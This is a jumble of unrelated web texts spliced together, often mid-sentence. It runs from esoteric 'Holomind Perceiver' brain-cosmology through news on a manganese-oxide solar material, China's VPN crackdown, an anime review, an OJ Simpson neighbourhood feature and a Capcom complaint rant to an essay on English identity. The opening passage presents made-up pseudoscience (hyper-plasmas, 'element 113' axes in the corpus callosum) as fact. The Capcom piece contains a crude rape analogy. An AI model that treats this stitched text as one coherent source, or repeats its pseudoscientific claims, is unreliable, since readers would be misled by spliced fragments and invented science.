While it is projected as a telepathic nano-chip at the very center of the corpus callosum, its structure also corresponds to and is projected upon the two cerebral hemispheres of the brain. Bear in mind though, that when we look at the graphic matrix of the Holomind perceiver, it is like looking in a mirror: the right side of the brain is on the left, and the left side of the brain is on the right, while the back of the brain or head is at the top and the front is at the bottom.
When you study the Holomind Perceiver carefully you can see that it is divided into four quadrants, and nine time dimensions. The four outer time dimensions are easily defined by the thirteen units that mark each of the four corners of the entire matrix, with the middle 7th unit being precisely at the corners. The lines drawn from units 1 and 13 define the four outer time dimensions. By continuing the lines, connecting them to the opposite sides, the other five time dimensions are easily defined.
The four space quadrants follow the sequence of the four outer time dimensions, such that the first quadrant is in the upper left of the graphic, the second is in the upper right, the third is to the lower left, and the fourth to the lower right. The quadrants are identified as containing the four master programs of the four hyper-plasmas: alpha alpha, first quadrant, beta alpha second quadrant, alpha beta third quadrant, and beta beta fourth quadrant.
The 11th vertical and the 11th horizontal rows define the four quadrants such that each of the four radial time dimensions (5th left hand side, 6th, right hand side, 7th above and 8th below, are all divided in half by two quadrants each: 5th time, 1st and 3rd quadrants; 6th time, 4th and 2nd quadrants; 7th time, 1st and 2nd quadrants; and 8th time, 3rd and 4th quadrants.
The ninth or inner time is a perfectly self-contained circuitry, yet in its structure it is the master coordinator of each of the four quadrants, there being 9 units of each quadrant within the 9th time, the other 13 units being contained in the two 11 axes. These two determining axes are the carriers of the 5th hyper-plasma the Sirius B-52/element 113.
The vertical eleven is the electromagnetic axis and also corresponds to both the mauri tube around which the galaxies are spun, as well as to the central meridian of the corpus callosum unifying both sides of the brain.
The horizontal 11 is the gravitational axis holding the two major galactic force fields in balance – the thermic left hand side (right side of the brain) and luminic |
as the material will not release carbon dioxide or waste as by-products.
To accomplish this, Mendoza-Cortes initially created a multi-layered material from manganese oxide, popularly known by the name birnessite. However, something enticing happened when he, along with his team members, peeled off the layers of the thick-layered material until a single layer was left. This particular layer started absorbing light at rapid rate. Technically speaking, it made a transition to a direct band gap material from an indirect band gap one.
Developing a single layered material that can trap sunlight efficiently is the best outcome since it’s cost-effective and could be mass produced.
These are the main reasons why the exciting discovery of this artificial material has turned out to be breathtaking – the technique is economic, efficient and does not require huge amount of sunlight to produce fuel.
The study has been published in the The Journal of Physical Chemistry as “Birnessite: A Layered Manganese Oxide To Capture Sunlight for Water-Splitting Catalysis”.Make your own StatTrak Fedora.
This hat will be able to track how often you tip it. Although it can't detect the action, so you have to push a button everytime you want the counter on the screen to go up. (For anyone who doesn't know or hasn't guessed yet, this is based on a couple of jokes on the internet like tipping your fedora to m'lady and StatTrak from the game Counter strike : Global Offensive)
This is an easy project to build in about a weekend. The Fedora that is shown in the pictures was also featured in a video by a popular youtuber (Look at 1:32) :
The idea for this project was inspired by this youtuber aswell. So check out his content, because he is funny guy.
We have also made a fake commercial for it:Photo
HONG KONG — China appears to have reinforced its Internet firewall in recent days, blocking some of the leading services that allow people on the mainland to access forbidden sites like Twitter, Facebook and YouTube.
International business transactions also are being affected, Internet analysts said. The New York Times Web site remains 100 percent blocked on the mainland, along with the Chinese-language edition of The Times and Rendezvous.
At least three foreign companies — Astrill, WiTopia and StrongVPN — have apologized to customers whose virtual private networks, or VPNs, have been slowed or disabled. VPNs are used to circumvent the Communist government’s firewall. The companies, meanwhile, were suggesting some work-arounds.
The daily newspaper Global Times, affiliated with the Communist Party, acknowledged the firewall had been “upgraded,” but it also warned that foreign providers of VPN services were operating illegally.
China blocks online searches of politically sensitive terms, smothers embarrassing news events, blocks online messages from dissidents and simply deletes any microblog posts that it dislikes.
The firewall also blocks countless Web sites that are openly available to users elsewhere around the world — from pornography sites and commercial come-ons to news reporting, political activism and religious proselytizing. Users on the mainland thus have to use VPNs to reach the banned sites.
Liu Xiao Ming, the Chinese ambassador to Britain, told the BBC on Friday that there was “a misconception about the Internet and development in China.”
“In fact, the Chinese are very much open in terms of the Internet,” he said, quoted in an article in The South China Morning Post. “In fact, we have the most number of Internet users in China today.”
An estimated 600 million Chinese have access to the Internet.
Foreign businesses also use VPNs not only to safeguard their transactions but also to keep government censors and rival companies from seeing their corporate communications.
Global Times quoted an anonymous executive at a foreign technology company operating in China who said the lack of a VPN would damage the firm’s operations.
Josh Ong, China editor of the tech monitoring site The Next Web, said in an interview with the Voice of America that international companies were reporting disruptions in their corporate VPN services.
“A lot of companies have a general policy that they must use their own proxy network in order to transfer data, especially into and out of China,” Mr. Ong said. “So you are looking at banks or e-commerce companies, anyone who is transferring very sensitive information, a lot of them use corporate VPNs.”
Mr. Ong suggested that the tightening of the firewall could be tied to the recent leadership change in the Chinese Communist Party.
“It is certainly possible that some of it is just a general flexing of might, kind of coming in with a strong arm to really show who’s in control,” he said. “But there is definitely something intentional happening when these VPN services are being restricted.”
As Bill Bishop wrote recently on DealBook, China’s management of the Internet “has not been encouraging for those who want to believe the leadership will push reforms.”
“I have lived in Beijing since 2005, and these have been the most draconian few days of Internet restrictions I have experienced,” he said last month.
“Indiscriminate blocking of major parts of the global Internet is not going to help China in its quest to internationalize the renminbi and make it a reserve currency,” Bill said. “Internet controls at the level of the last few days may also deter foreign firms from moving their regional headquarters to China.”
Barbara Demick of The Los Angeles Times bureau in Beijing offered this cautionary tweet:
Note to Chinese censors: if you pull our vpns, main Asia news bureaus will have to move to Tokyo. Not good for China. — Barbara Demick (@BarbaraDemick) 6 Nov 12
My colleagues Sharon LaFraniere and David Barboza wrote about similar concerns over China’s Internet censorship last year, and they spoke to Duncan Clark, chairman of BDA China, an investment and strategy consultancy based in Beijing.
“It has been double the guard, and double the guard, and you never hear proclamations about things being relaxed,” said Mr. Clark, a 17-year resident of China. “We have never seen this level of control in the time I have been here, and I have been here since the beginning of the Internet.”(or gynoid, to be gender-specific) who lives on the outskirts of what's left of Yokohama, Japan after rising sea levels destroyed most of the city. She spends her days running a cafe and waiting for the return of her owner, who has left for reasons and parts unknown. One day, she receives a visitor - a young woman named Kokone, who is here to drop off a special package for her along with a message. When Alpha asks for the contents of the message, she discovers something special about Kokone - she, too, is a robot!Alpha and Kokone quickly become friends, and the two begin to explore the world around them, aided by the gift sent by Alpha's owner - a camera that can directly interface with robots. Kokone returns to her delivery service, leaving Alpha feeling lonely again. She then decides to head out on her own to discover for herself what the world offers for her to photograph and preserve.After going out to pick up a new rake, the skies above Alpha's little scooter start to darken; before long, a heavy rain sets in. Suddenly, a lightning strike out of nowhere! Alpha will now have to cope with trying to survive and the changes she'll face after her recovery.Alpha decides to try out her new camera and becomes greatly dissatisfied with some of the shots she takes. She searches for the perfect shot, but is suddenly overtaken by a faint memory she barely remembers, one that goes back to the very day she was first activated.The corresponding manga chapters covered by the OVA's two episodes are, in order,Chapter 7 Afternoon February 2, Chapter 8 1 by 1, Chapter 9 300 Image Capacity,Chapter 4 Rain and After, Chapter 12 Navi and Chapter 22 Yokosuka Cruise - note that Chapters 8 and 9 and Chapters 12 and 22 have been combined into a single half-episode each.The story faithfully reproduces the ones told in the original manga chapters, but adds special touches as well. We see the dynamics of the wonderous splendor of Alpha's world, as well as the dynamics of her special relationship with Kokone (special in more ways than one :). Many of the subtleties of Alpha's character that can only be told through movement are revealed to us as well. We also see a little more backstory and a few changes here and there between the OVA and the manga - Alpha remembers or at least admits a little bit about what it was like being around before robots were common. Overall, the execution is great and it's clear that the animators and producers were careful to preserve and enhance the environment and characters of the manga, though I wish we could've seen the world through the perspective of Alpha's camera more often.Art: 9 (Great)The art is terrific and faithfully reproduces or even enhances the art style of the manga, but sadly the colors come off as a little washed-out, especially in regards to Alpha and Kokone.With that said, the animation takes us one step closer towards experiencing this futuristic world of Yokohama for ourselves, and brings Alpha and Kokone one step closer to our world.Sound: 10 (Outstanding)The music sets a benchmark for anime of this genre and is performed by Choro Club who also gave us the soundtrack for ARIA; much of it is performed with a gekkin, the same type of stringed musical instrument Alpha plays in the manga and seen in the OVA. Background an incidental music factor in heavily, much more so than other works. The music very much correlates to the imagery on-screen and tells us through audio the type of laid-back world Alpha sees, despite the many hardships she and her friends have to put up with.Character: 10 (Outstanding)In many ways the characterization of Alpha, Kokone, and the others exceeds that of the manga, since we're treated to many nuances the manga is simply not able to show. We see in Alpha a certain kind of endearing naivety as she begins to see things for the first time from differing perspectives, yet at the same time, we see a strong-willed young woman who is not only capable of taking care of herself but highly values the bonds she has with what has become her human family. The animation does much to bring these characters alive through these nuances and interactions with others and their environment, bringing these characters one step closer to reality.Enjoyment: 9 (Great)Yokohama Kaidashi Kikou is almost as much of a masterpiece as its source material but is not without its flaws that detracts from its enjoyment. The washed-out colors are distracting, especially when I was expecting the vibrant green and purple of Alpha's and Kokone's hair to be carried over from the manga. Despite that, the OVA still does a magnificent job of breathing life into Hitoshi Ashinano's still images and ephemeral snapshots, and for this alone it is a highly recommended and regarded piece.Yokohama Kaidashi Kikou is given a final score of:10: Outstanding6. The Last Samurai
There have been very few western Samurai films made and I believe The Last Samurai is one of the best. With the obvious star power Tom Cruise brings to the table and the stoic strength of Ken Watanabe (in his English language debut no less) this film is a natural winner. Brilliantly directed by Edward Zwick with a dynamic score by Hans Zimmer, The Last Samurai paints a picture of the last days of the Samurai class. While many feel this film romanticizes and glosses over the deeper issues of the caste system in feudal Japan and those rebelling against its dissolution, I feel like in an epic film such as this it’s OK to simplify things for the sake of presenting a way of life that can’t be seen anymore. Its a perfect film for those lovers of historical epics and should not be missed.
Fun Facts:ISS044-E-45553
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Image Caption: Red Sprites Above the U.S. and Central America
Viewing from a point over northwest Mexico, astronauts aboard the International Space Station looked northeast and shot this unusual photograph of a red sprite above the white light of an active thunderstorm (image top left). The sprite was 2,200 kilometers (1,400 miles) away, high over Missouri or Illinois; the lights of Dallas, Texas appear in the foreground. The sprite shoots up to the greenish airglow layer, near a rising moon.
These photos show the sprite's tendrils reaching as much as 100 kilometers above Earth's surface. Sprites are major electrical discharges, but they are not lightning in the usual sense. Instead, they are a cold plasma phenomenon without the extremely hot temperatures of lightning that we see underneath thunderstorms. Red sprites are more like the discharge of a fluorescent tube. Bursts of sprite energy are thought to occur during most large thunderstorm events. They were first photographed in 1989.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
An international meeting of experts on HIV has called for transgenderism to be reclassified as a medical condition, rather than a mental illness.
The second International Experts’ Meeting on HIV Prevention for MSM, WSW [men who have sex with men and women who have sex with women] and Transgenders took place in Amsterdam in early November with 130 experts from around the world.
A report, called Moving from Intentions to Action, has now been published and calls for change in how trans people are treated.
It argues that trans people would then escape the stigma of mental illness that is frequently attached to them.
The report said: “Gender identity variance (transgenderism) should be reclassified from its current classification as a mental health disorder in the American Psychiatric Association’s Diagnostic and Statistical Manual and the World Health Organisation’s International Classification Of Diseases (ICD).
“Instead it should be classified as a medical condition. This would provide a diagnostic category in the ICD that would accommodate the needs of those gender identity variant people who require medical care for their condition, but without the stigma attached to mental disorder.”
Professor Stephen Whittle, of Manchester Metropolitan University and trans group Press For Change, welcomed the move.
He said: “This is another major contribution to the very important, and crucial debate on whether simply having a gender identity and the desire to express yourself through it can be a mental illness.
“We accept that many trans people need the support of mental health specialists – but not because of their gender identity, but because of the rejection of their gender not just on a personal transphobic level but also institutionally and at the wider structural levels.
“Every one of us has a gender identity and look at any group of people and one can see a vast number of ways ordinary people express their person gender place – how they want others to know them. At their core trans people want nothing more than to have the privilege to do the same.”
Medical opinion once held that homosexuality was a mental illness. It was removed from the list of mental disorders by the World Health Organisation in 1990.OJ Simpson never looked back at the Potrero Hill neighborhood where he grew up, now a fast-gentrifying area not particularly keen on remembering him
Before there was a Bronco on the freeway, or a glove in the courtroom or the trial of a lifetime, OJ Simpson became a puzzle piece on Nicole Emanuel’s wall.
This was in 1987 when then the name ‘OJ’ meant the ultimate in achievement for any African-American child growing up on the wrong side of a hill. And to Emanuel, a muralist celebrating her Potrero Hill neighborhood at the 17th and Connecticut bus stop, Simpson was the one she needed to paint in the mural’s center – a man who rose from nothing in a community San Francisco largely forgot.
Football had taken him from the Potrero Terrace public housing development to the top of the world and so Emanuel posed him like a conqueror in gold pants and a white jersey. She gave him his own square in a mosaic of buoyant images that were crafted to give hope to a place that had little. In Nicole Emanuel’s tribute to Potrero Hill, OJ Simpson was the ingredient that made the collage work.
“He was supposed to be a good piece of the puzzle,” Emanuel says.
She pauses.
“Now he’s a bad piece.”
Not long after OJ went on trial for the murder of his wife Nicole Brown Simpson and her friend Ron Goldman, vandals began to attack Emanuel’s masterpiece. One painted a red circle and a slash through OJ’s head. Another added devil horns and a knife. Someone scrawled the word “Guilty” beside his legs. When Emanuel, who had since left San Francisco, heard about the defacing, she told friends to leave it.
Such a work of public art is an open statement of its community. In the case of hometown hero OJ Simpson, the people of Potrero Hill had spoken.
The most famous football player from this year’s Super Bowl city is completely gone from her mural. Someone has doused Simpson in paint the color of a Band-Aid, leaving OJ an empty, faceless shell with the silhouette of horns on its head. Somehow this seems fitting. For the Potrero Hill of today not only wants to forget their most famous son, they seem to want to forget where he came from entirely.
“There is no thought of OJ,” says Edward Hatter, the director of the Potrero Hill Neighborhood House, a powerful black voice in a community that is quickly going from poor and black to wealthy and white. “He’s another one who came out of the housing to end up in prison. There was a bunch of big stuff in between, but he was just a guy from the Hill who did something dumb and wound up in prison.”
The streets below Hatter’s office on the top of Potrero Hill are changing. He is fighting a battle he’s already lost. The tires of gleaming BMWs kiss curbs where African-American children one walked to the safe embrace of the community center on 23rd. Real estate agents have long since discovered the hidden promise of Potrero Hill. Stunning views! A modernist, mid-century house recently sold for $9m.
This is the story of America in 2016. Another refuge of the poor is being seized as a trophy for the rich. And this is especially the story of San Francisco, where gentrification has gone from an affliction to an epidemic. Maybe this is why Hatter’s voice registers a particular weariness for OJ. For in rising from the Potrero Terrace to running through airports with Arnold Palmer, OJ had a chance to pull up his old neighborhood as well. Only he didn’t. He never returned long enough to invest.
There was big stuff in between, but [OJ] was just a guy from the Hill who did something dumb and wound up in prison Edward Hatter, director, Portrero Hill Neighborhood House
“He did what he wanted to do,” Hatter says. “He wasn’t a community leader in going to USC, he was a football player. He got picked to go to Buffalo and played for Buffalo. He got traded to the 49ers and played for the 49ers. But he didn’t do anything for the community. He made commercials but did he use local kids in the commercials?”
To the few left in the Potrero that raised a young OJ, his life is a kind of fable. He ran away to the wealthy world and rarely looked back, then the wealthy world devoured him, making him a punchline, spitting his name. Now the wealth that cut through OJ has taken Potrero Hill too. What, in the end, was the fame of OJ worth to the community that needed him most?
“We put up the mural because he did come from the neighborhood,” Hatter says. “But that’s all he is – just someone who came from the neighborhood, but not someone who did something for the neighborhood. And there is a big difference.”
For generations, Potrero Hill was an afterthought in the west coast’s first great city. It rose unfashionably to the south of downtown as a working class district with surprisingly dramatic vistas. The southeast hillside, which offers wide-open glimpses of the San Francisco Bay and Oakland Hills was mostly vacant until the government constructed Potrero Terrace to house families displaced by the Great Depression. When the second world war came along, several new buildings – called Potrero Annex – were quickly constructed for workers at local defense factories. Soon, much of the hillside was covered with the rectangular three-story buildings that looked from the sky like matchboxes scattered across the hill.
By the time OJ was growing up in the Terrace, the residents of both developments were mostly African Americans with little money. Potrero Hill became known for its violence and a place where few in San Francisco dared to tread.
“We didn’t used to be in guidebooks at all,” says Peter Linenthal, who bought an early 1900s Victorian row house on top of the hill in 1975 and eventually became a local historian. “We were left out until maybe sometime in the 1980s.”
Everything changed in the 2000s when restaurants began top appear on the blocks around his house. Then came the coffee shops and the boutique stores. Suddenly Potrero Hill wasn’t only in the guidebooks, it had turned into one of the hottest neighborhoods in town.
Hatter watches as gentrification creeps over his hill and wonders what place his world still has among the coffee shops, spas and pilates studios. He can see the rec center, located on a ridge, just behind the highest rooftops of the Terrace and the Annex. As rivalries grew between residents of the Terrace and the Annex and angry words gave way to fists and knives, the rec center was the place where everybody could be safe.
The young OJ played basketball under its curved roof. He played football and baseball on the fields outside. In many ways, the rec center saved him as it saved many children who grew up in the developments. In 1977 a local artist included him in a mural of successful neighborhood athletes that was painted on the outside wall above the front door. Simpson is in a blue Buffalo Bills jersey, No32. All these years later the mural is still there, washed out, but nonetheless unblemished by vandals, probably because it is too high for them to reach.
Hatter wonders why no one has painted over the entire mural on the rec center’s wall. “It’s not a welcoming place for the kids on the hill as it used to be,” he says. Much like the neighborhood that has been commandeered by the rich, the modest rec center with its bulletin boards of yellowing OJ clippings has become a home for the entitled. On Sunday afternoon the gym that Hatter says would have been dedicated to pickup basketball in another time saw mainly white children playing futsal as parents hovered near, ready to whisk them to bathroom breaks.
Hatter sighs.
The real fight, he says, is the one that is coming on the hill just below the rec center’s fence. OJ’s old home is doomed. All of the Terrace and Annex buildings are scheduled to be ripped down, replaced by stylish new apartments that will be sold at what is described as “market rates.” Given the views and the quick walk downhill to the Muni Line, “market rates” will easily exceed $1m.
The current residents of the Terrace and Annex are required to have affordable housing in the new development but what does that mean? Will they live beside their wealthy neighbors? Will they be gathered in a huddle of slapped-together homes tucked away from the gleaming new palaces? Will they be fenced-in like prisoners to be kept a safe distance from their new wealthy neighbors?
Hatter says he and other activists have not been told. The first demolition starts this year and the lack of information frustrates him.
“As we see the African-American population disappear around here, the people there don’t know where they will go,” he says.
Late Sunday afternoon, the shouts of the children’s futsal game wafted outside the gym where two black men played with their children at the rec center’s playground. They seemed skeptical of a white reporter from a British website asking about the legacy of America’s most notorious alleged killer who is still celebrated on the building’s front.
“I know he’s in the pen now and that’s unfortunate,” says one who identifies himself only as Benny. “I don’t think he was equipped for all the stuff that came with his fame.”
He glanced around at the surrounding houses, many of which have been refurbished for tens of thousands of dollars then he looked back at the gym with OJ’s painting on the front. He is asked about the irony of this image of Simpson trapped for nearly 40 years as a hero in a neighborhood that now sees his past as part of a blemish rather than a solution.
“Hero to zero,” Benny says and shakes his head.
His friend scoffs.
“First of all,” the man says, “I don’t think he did that to his wife.”
Benny nods.
“That’s right,” Benny says. “He didn’t kill her. Write that down. He didn’t kill her.”
The friend laughs.
“OJ didn’t spend a lot of time here,” the man says. “He just wanted to play golf. I thought he would want to come back. I thought he’d work at the rec center.”
But OJ never did come back. Not in the real sense. Not even after he was found not guilty in the deaths of his wife and Goldman. The OJ who went away had no intention of returning to the place that would still open its arms to him.Capcom Tells BBB Pair-Play For Xbox 360 Was Never Advertised By William Usher Random Article Blend
Capcom has officially responded to the second set of Better Business Bureau complaints regarding the missing co-op feature for the Xbox 360, and they say that it was never advertised to begin with.
Before you read the whole statement from Capcom I'd suggest you equip your
Originally, Capcom came under fire for the Street Fighter X Tekken
Well, now, Capcom has responded to several complaints to the Better Business Bureau about the lack of pair-play (which enables two people locally to play online with or against other people) in Street Fighter X Tekken. Consumers who filed the complaints asked to remain anonymous and their requested resolution from Capcom was to patch in the pair-play in a future update for the Xbox 360. You can read Capcom's entire response below to Better Business Bureau Complaint Case #57218419...
At Capcom, we value our customers and make every effort to resolve customer complaints. We are sorry to hear that [censored] was so disappointed with the Street Fighter x Tekken game (''SFxT''), and would like to respond to his complaints.
While the PS3 version of SFxT has a 4-player co-op mode in which two people can team up locally (on the same console) to play on-line, this mode of play was not included in the Xbox 360 version of the game. Capcom acknowledges that its communications surrounding this mode have been less than clear. Hopefully, the explanation below will resolve any concerns.
While Capcom did not advertise this feature with respect to the Xbox 360 version, it understands that some fans may have believed this mode to be available across all platforms. Unfortunately, due to time and resource constraints, Capcom was not able to include that feature in the XBox 360 version and it apologizes to those players who were looking forward to it. Because of the scale required to implement this feature, Capcom has decided that it will not do so, and will not be providing a patch for this feature.
Further, while none of the packaging or other advertising collateral for the Xbox 360 version of the Game advertised the ''4-player co-op mode,'' Capcom has discovered that the game manual included in the SFxT Special Edition package inadvertently references that feature. (We note that the manual is not available for customers' pre-purchase review, so do not believe that the manual could have influenced any purchasing decision.)
Because we understand and empathize with [censored]'s frustration over the messaging about this feature, and due to the misprint in the Xbox 360 Special Edition manual, while we cannot offer a refund on this game, we can offer a coupon for 30% off a future purchase on the Capcom store (www.shop.capcom.com) (maximum value of the discount not to exceed $100; valid for one-time use only; coupon expires twelve months from the date of issuance). Please note that this coupon is intended solely for a single use by [censored]. To obtain the coupon code, [censored] should send an email to [email protected] and be sure to include (i) the email address used to file this Better Business Bureau complaint, (ii) the Complaint Case Number, and (iii) a proof of purchase (e.g. receipt) of the Xbox 360 version of SFxT purchased.
We understand that this coupon may not alleviate [censored]'s frustration, but we hope he will accept it as a token of our sincere apology.
Hope those flameproof jockstraps are amped up to level 5, it almost feels like it's about to reach 9,000 degrees in here with all the rage.
I love how Capcom tries to bribe their way out with a limited, timed-coupon to get 30% off a future Capcom title. That's like being prison raped and then when you ask for an apology the guys who do it throw you a few napkins instead. Real classy.
Anyways, let's get one thing perfectly clear: the co-op was advertised in their official fact sheet, which was covered in detail over at every gaming website out there, you can check out a detailed look at the fact sheet over at the
•Scramble Mode – Four separate players, online or offline, control each of the four characters on screen for the ultimate battle royale.
The fact sheets were released for all the respective platforms, indicating that four separate players could compete in online or offline modes specifically for the Xbox 360 and PS3. This is in addition to the traditional tag-team mode which also supports up to four-players in offline or online modes. The problem is that it's just not for the Xbox 360 or PC version of the game. That's right, Capcom revealed that the PC version is a direct port from the Xbox 360 and Street Fighter X Tekken, which senior vice president Christian Svensson confirmed, as reported by
What's more is that before Capcom said that they could not be done on the Xbox 360 due to Halo 2, allowing up to four-players via splitscreen to compete online using the pair-play feature. This mode is still available in Halo games today, along with Call of Duty: Modern Warfare, Call of Duty: Black Ops, Borderlands, Left 4 Dead 2 and just about every other online-enabled game with split-screen or co-op features.
Heck, smaller studios like Trendy Entertainment included the pair-play co-op in the multiplatform game Dungeon Defenders, enabling up to four-players to compete locally while also playing online. What's more is that indie developer Dragon Divide even managed to include a co-op pair-play function into their Xbox Live Indie Game, Alpha Squad, which recently came out. How on Earth does a company worth $1 billion USD not have time or resources to implement a feature a developer on a shoe-string budget managed to include into a no-name XBLIG game (no offense to Dragon Divide)?
What's crazy is that Microsoft explicitly made sure the software design architecture for the Xbox 360 was easy enough for anyone to get their games up and running on the console with ease, especially with XNA. Microsoft even used the tagline that
Now this leaves Capcom in a ridiculous conundrum: 1) If the pair-play really did require extra time and resources, then why wasn't this feature finished before they finished the DLC, considering that pair-play is attached to a core mechanic of the game? There's no excuse why DLC was a priority over a core gameplay mechanic. 2) If they really did run out of time and resources then it verifies what was stated before, that
In closing, a forum board member going by the name of Furious George had this interesting quote to sum up Capcom's brazen approach to blatantly disregarding consumers, saying...
"I don't know what pisses in my coffee more.
- The fact that Capcom actually says this.
- The fact that Capcom actually believes this.
- The fact that morons are actually defending them after they said this.
There isn't enough tears in the world to adequately weep for humanity at this point.
If you'd like to file a complaint with the Better Business Bureau about this reprehensible business tactic, which basically pisses on the etiquette of consumer trust, feel free to visit the We've been riding Capcom's shady arse the past month on every single issue regarding their anti-consumer measure of disc-locked content. Well, it gets worse.Capcom has officially responded to the second set of Better Business Bureau complaints regarding the missing co-op feature for the Xbox 360, and they say that it was never advertised to begin with.Before you read the whole statement from Capcom I'd suggest you equip your Flameproof Jockstrap because the following comments from the company will infuriate legitimate consumers like nothing else ever before.Originally, Capcom came under fire for the disc-locked content, to which they replied to the Better Business Bureau that there is no distinction between downloadable content and disc-locked content, other than the mechanism of delivery. From a business standpoint this is true but from a gamer's standpoint it's called wallet-raping.Well, now, Capcom has responded to several complaints to the Better Business Bureau about the lack of pair-play (which enables two people locally to play online with or against other people) in. Consumers who filed the complaints asked to remain anonymous and their requested resolution from Capcom was to patch in the pair-play in a future update for the Xbox 360. You can read Capcom's entire response below to Better Business Bureau Complaint Case #57218419...Hope those flameproof jockstraps are amped up to level 5, it almost feels like it's about to reach 9,000 degrees in here with all the rage.I love how Capcom tries to bribe their way out with a limited, timed-coupon to get 30% off a future Capcom title. That's like being prison raped and then when you ask for an apology the guys who do it throw you a few napkins instead. Real classy.Anyways, let's get one thing perfectly clear: the co-op was advertised in their official fact sheet, which was covered in detail over at every gaming website out there, you can check out a detailed look at the fact sheet over at the Sixth Axis (amongst dozens of other places) where it specifically states, back on September 14th, 2011...The fact sheets were released for all the respective platforms, indicating that four separate players could compete in online or offline modes specifically for the Xbox 360 and PS3. This is in addition to the traditional tag-team mode which also supports up to four-players in offline or online modes. The problem is that it's just not for the Xbox 360 or PC version of the game. That's right, Capcom revealed that the PC version is a direct port from the Xbox 360 and would not be receiving pair-play either nor will there be a patch to include pair-play for either the Xbox 360 or PC version of, which senior vice president Christian Svensson confirmed, as reported by Shoryuken. What's worse is that the PC version isn't due out until May, yet it still won't be receiving pair-play.What's more is that before Capcom said that they ran out of time and resources, they previously, explicitly stated that pair-play was a feature thatbe done on the Xbox 360 due to restrictions by Microsoft. This is despite the fact that years earlier, way back on the original Xbox, Bungie managed pair-play with the 2004 release of, allowing up to four-players via splitscreen to compete online using the pair-play feature. This mode is still available ingames today, along withand just about every other online-enabled game with split-screen or co-op features.Heck, smaller studios like Trendy Entertainment included the pair-play co-op in the multiplatform game, enabling up to four-players to compete locally while also playing online. What's more is that indie developer Dragon Divide even managed to include a co-op pair-play function into their Xbox Live Indie Game,, which recently came out. How on Earth does a company worth $1 billion USD not have time or resources to implement a feature a developer on a shoe-string budget managed to include into a no-name XBLIG game (no offense to Dragon Divide)?What's crazy is that Microsoft explicitly made sure the software design architecture for the Xbox 360 was easy enough for anyone to get their games up and running on the console with ease, especially with XNA. Microsoft even used the tagline that if you can make a game for PC you can make a game for the Xbox 360. So it makes zero sense how the pair-play feature was somehow absent when, as mentioned, even developers on shoestring budgets are able to include it in their games.Now this leaves Capcom in a ridiculous conundrum: 1) If the pair-play really did require extra time and resources, then why wasn't this feature finished before they finished the DLC, considering that pair-play is attached to a core mechanic of the game? There's no excuse why DLC was a priority over a core gameplay mechanic. 2) If they really did run out of time and resources then it verifies what was stated before, that all the DLC was finished long before the game went gold and they simply hex-walled it and called it a day. This means they cut features out of the main game to re-sell as DLC.In closing, a forum board member going by the name of Furious George had this interesting quote to sum up Capcom's brazen approach to blatantly disregarding consumers, saying...If you'd like to file a complaint with the Better Business Bureau about this reprehensible business tactic, which basically pisses on the etiquette of consumer trust, feel free to visit the Official BBB Website Blended From Around The Web Facebook
Back to topA landmark ruling by the European Court of Justice on Tuesday could mean that viewing professional football matches on television will soon get cheaper in Europe -- a decision that will please consumers but cause a collective shudder in soccer leagues and at pay TV providers in a market that is worth billions of euros.
Under current practice in Europe, national football leagues issue contracts licensing the broadcast of professional matches in individual European Union countries that prohibit the licensing companies in those countries from marketing or airing those games in other EU countries. But on Tuesday, the court said practice of selling rights territory by territory in Europe was "irreconcilable" with the aim of a single market.
The ruling means that football fans across Europe will have a choice in the future of whether they subscribe to games of Britain's Premier league, Germany's Bundesliga or other leagues from a German, Greek, British or other Pay TV service, thus creating greater competition.
A Pub Brawl
The case made its way through the courts in |
have to look around. If an identity is an alliance between people and places, then airport lounge modernity means taking the places out of the picture. All that is left is people who could be anywhere: citizens of nowhere, consumers of objects and experiences, connected by their little screens, the same white light shining into their faces from Doncaster to Dubai.
In this context, when I think about why I call myself “English” rather than “British” – and I always do, from habit and instinct more than from any need to make a statement – it is the places I think about. The small places, especially. I think about osiers by the upper Thames, windbent thorns on Dartmoor, black granite outcrops in Calderdale. I think about the lanes and the stone rows and the lock cottages and the pub signs. I think about the names: the harrows and hams and tons, the becks and rills and brooks. Wayland’s Smithy, Grimsditch, Offa’s Dyke, Long Meg. I have always associated England with small, secret things, and Britain with big, bombastic ones. Britain to me is empire and royalty, satanic mills and the white man’s burden. England is the still pool under the willows where nobody will find you all day, and the only sound is the fish jumping in the dappled light. It’s a romantic vision, I know, but then nations are, like people, at least partly romantic things.
***
Facebook Twitter Pinterest Illustration: Rob Pybus
Romance will only get you so far, however. Today, the real England sometimes feels like 50 million people driving around a motorway forever. The march of the shopping malls, green-belt housing estates and pointy glass skyscrapers continues apace, and the future offers an epic round of building: hundreds of thousands of new houses every year, new airports, new motorways and roads and high-speed rail lines ad infinitum. The population is expected to exceed 70 million within 15 years, all in the name of growth and with no end in sight. Global capitalism is eating the soul of the nation. What will be left after it has digested its meal?
It is in this context that the current immigration debate can perhaps best be seen. Large-scale immigration is not, as some of its more foaming opponents believe, a conspiracy by metropolitan liberals to destroy English identity. It is a simple commercial calculation. It may cause overcrowding and cultural tension, it may be economically traumatic for some people, and it may drain poorer countries of their own talent, but it is undoubtedly good for growth, which is why business leaders consistently call for more of it. Immigrants are easier to exploit and underpay, and often prepared to work harder and accept fewer rights. If you believe, as our politicians apparently do, that what’s good for business is good for everyone, and that a nation is little more than a machine for competing in a “global race”, then mass immigration is an entirely sensible proposition.
The problems that proposition causes are real, and those who support it can no longer get away with shouting “racist” at the majority who don’t. The people of any nation will always want the right to control their own borders and decide on the direction of their culture, and England is no exception. But that majority has its own questions to answer, too. In a nation whose population is ageing, and whose people consistently demand more and cheaper stuff, who is going to do the heavy lifting? If you want a cheap nanny and your cut-price supermarket vegetables picked in all weathers for the minimum wage, then someone has to do it. There is no doubt that large-scale immigration changes the shape, texture and potentially the identity of a nation, but so do out-of-town retail parks, coffee chains, theme pubs, second homes, gentrified cities and privatised streets. If you don’t want the population movement, you don’t get the cheap, easy consumer lifestyle it facilitates. Which will you choose?
Sometimes, when I look at history, I think that identity is the root of all evil. Sometimes, when I look at the present, I think that we will be lost without it. Perhaps both are true, but it doesn’t look like the need for it is going away any time soon. It seems to be a foundation of what it means to be human: a deep, old need. And I keep coming back to England, though I never quite know why.
***
The word “England” derives from the Old English “Engla Lond” – land of the Angles. The Angles, along with the Saxons and the Jutes, were a Germanic tribe said to have arrived on the shores of post-Roman Britannia in the sixth century, and who would later become known, to distinguish them from the old Saxons of Germania, as the Anglo-Saxons.
Facebook Twitter Pinterest The Old Spot in Dursley, Gloucestershire. Photograph: Adrian Sherratt/Alamy
